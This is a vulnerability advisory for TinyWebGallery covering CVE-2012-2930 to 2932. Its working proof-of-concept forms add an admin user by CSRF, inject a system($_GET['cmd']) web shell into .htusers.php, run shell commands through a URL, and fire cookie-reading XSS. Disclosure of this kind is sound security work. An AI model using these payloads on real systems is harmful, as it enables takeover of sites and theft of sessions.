Multiple vulnerabilities in TinyWebGallery

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in TinyWebGallery, which can be exploited to perform Сross-Site Request Forgery (CSRF), Arbitrary Code Execution and Cross-Site Scripting (XSS) attacks.

1. Сross-Site Request Forgery (CSRF) in TinyWebGallery: CVE-2012-2930
   The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to add new users.
   An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
   The following CSRF PoC (Proof of Concept) add new user:
   <form action=“http://[host]/admin/index.php?action=admin&dir=&order=name&srt=yes&t view=no&sview=yes&lang=en&action2=adduser” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“confirm” value=“true”>
   <input type=“hidden” name=“pass1” value=“password”>
   <input type=“hidden” name=“pass2” value=“password”>
   <input type=“hidden” name=“home_dir” value=“.”>
   <input type=“hidden” name=“show_hidden” value=“0”>
   <input type=“hidden” name=“no_access” value=“^\.ht”>
   <input type=“hidden” name=“permissions” value=“8”>
   <input type=“hidden” name=“upload_settings” value=“15”>
   <input type=“hidden” name=“active” value=“1”>
   <input type=“hidden” name=“user” value=‘user’>
   <input type=“submit” id=“btn”>
   </form>
   <script>
   document.getElementById(‘btn’).click();
   </scr ipt>

2. PHP code injection in TinyWebGallery: CVE-2012-2931
   The vulnerability exists due to insufficient validation of input data passed to the “user” parameter within the user creation functionality. A remote authenticated user with administrative privileges can inject arbitrary PHP code into the .htusers.php file which will be executed when the admin/index.php script is accessed. It is also possible for a remote attacker to inject and execute arbitrary PHP code using CSRF vector, described in vulnerability #1.
   The following PoC (Proof of Concept) modifies the “.htusers.php” file:
   <form action=“http://[host]/admin/index.php?action=admin&dir=&order=name&srt=yes&t view=no&sview=yes&lang=en&action2=adduser” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“confirm” value=“true”>
   <input type=“hidden” name=“pass1” value=“”>
   <input type=“hidden” name=“pass2” value=“”>
   <input type=“hidden” name=“home_dir” value=“.”>
   <input type=“hidden” name=“show_hidden” value=“0”>
   <input type=“hidden” name=“no_access” value=“^\.ht”>
   <input type=“hidden” name=“permissions” value=“8”>
   <input type=“hidden” name=“upload_settings” value=“15”>
   <input type=“hidden” name=“active” value=“1”>
   <input type=“hidden” name=“user” value=‘“)); system($_GET[“cmd”]); $a=array(array(”’>
   <input type=“submit” id=“btn”>
   </form>
   <script>
   document.getElementById(‘btn’).click();
   </scr ipt>
   The following example demonstrates execution of arbitrary commands:
   http://[host]/admin/index.php?cmd=ls -la;id;pwd;uname -a;

3. Multiple XSS in TinyWebGallery: CVE-2012-2932
   3.1 Input passed via the “selitems[]” POST parameter to /admin/index.php (when “action” parameter is set to “copy”, “chmod” or “arch”) is not properly sanitised before being returned to the user.
   This can be exploited to execute arbitrary HTML and script code in administrator’s browser session in context of affected website.
   The following PoC (Proof of Concept) demonstrates the vulnerability:
   <form action=“http://[host]/admin/index.php?action=copy” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“selitems[]” value=‘"><script>alert(document.cookie);</script>’>
   <input type=“submit” value=“submit” id=“btn”>
   </form>
   <form action=“http://[host]/admin/index.php?action=chmod” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“selitems[]” value=‘<script>alert(document.cookie);</script>’>
   <input type=“submit” value=“submit” id=“btn”>
   </form>
   <form action=“http://[host]/admin/index.php?action=arch” method=“post” name=“main” id=“main”>
   <input type=“hidden” name=“selitems[]” value=‘"><script>alert(document.cookie);</script>’>
   <input type=“submit” value=“submit” id=“btn”>
   </form>

3.2 Input passed via the “searchitem” POST parameter to /admin/index.php (when “action” GET parameter is set to “search”) is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator’s browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action=“http://[host]/admin/index.php?action=search” method=“post” name=“main” id=“main”>
<input type=“hidden” name=“searchitem” value=‘<script>alert(document.cookie);</script>’>
<input type=“submit” value=“submit” id=“btn”>
</form>